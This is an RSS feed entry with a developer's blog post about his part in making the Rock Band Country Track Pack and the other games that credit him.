			<content:encoded><![CDATA[<p>Ok, so that&#8217;s not quite how the lyrics for Kenny Rogers&#8217; <em>The Gambler</em> go, but it&#8217;s an amusing case of <a href="http://www.youtube.com/results?search_query=misheard%20lyrics">misheard lyrics</a>.  <em>The Gambler</em> is just one of 21 great country songs you&#8217;ll find in the brand new <a href="http://www.rockband.com/games/country"><em>Rock Band Country Track Pack</em></a>, available now for the PS2, PS3, Xbox 360, and Wii.</p>
<p><img src="http://www.rockband.com/images/countrybox.gif"></p>
<p>Enough with the blatant advertising.  <em>Rock Band Country Track Pack</em> was a joint venture between <a href="http://demiurgestudios.com/">Demiurge Studios</a> and <a href="http://www.harmonixmusic.com/">Harmonix Music Systems</a> that I&#8217;m proud to say I was a part of.  I had a blast working on it, since I was already a huge fan of the <em>Rock Band</em> franchise.  But prior to this past Tuesday&#8217;s release, we couldn&#8217;t tell anyone we were working on it, even though the game had been <a href="http://www.rockband.com/forums/showthread.php?p=2405621#post2405621">announced in May</a>, thanks to some bigwigs in upper management who decided it wasn&#8217;t in their interests.  Of course, now that the game is on the street and our logo and names are in the credits, we can talk freely.</p>
<p><em>Rock Band Country Track Pack</em> now joins <a href="http://adamrosenfield.com/blog/2008/09/26/brothers-in-arms-double-time/"><em>Brothers in Arms: Double Time</em></a> in the elite class of retail games with my name in them.  <em>Mass Effect</em> (PC) also has my name in it, as Demiurge credits all people in the studio in its products, although I only worked on that game for about two weeks.  <em>Word-Fu</em> (iPhone) was another game I worked on, but it has very minimal credits.  You can still find my (first) name at the top of the built-in high scores table &#8212; of course, that&#8217;s not my <em>real</em> high score.  If they&#8217;d let me put in my real high score, that would have just been too depressing to people who bought the game who aren&#8217;t very good spellers.</p>
<p>What&#8217;s next for Demiurge?  Only time will tell.  Well, <em>I</em> could tell you, but then I&#8217;d have to kill you.</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2009/07/25/if-youre-gonna-play-the-gameboy-ya-gotta-learn-to-play-it-right/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
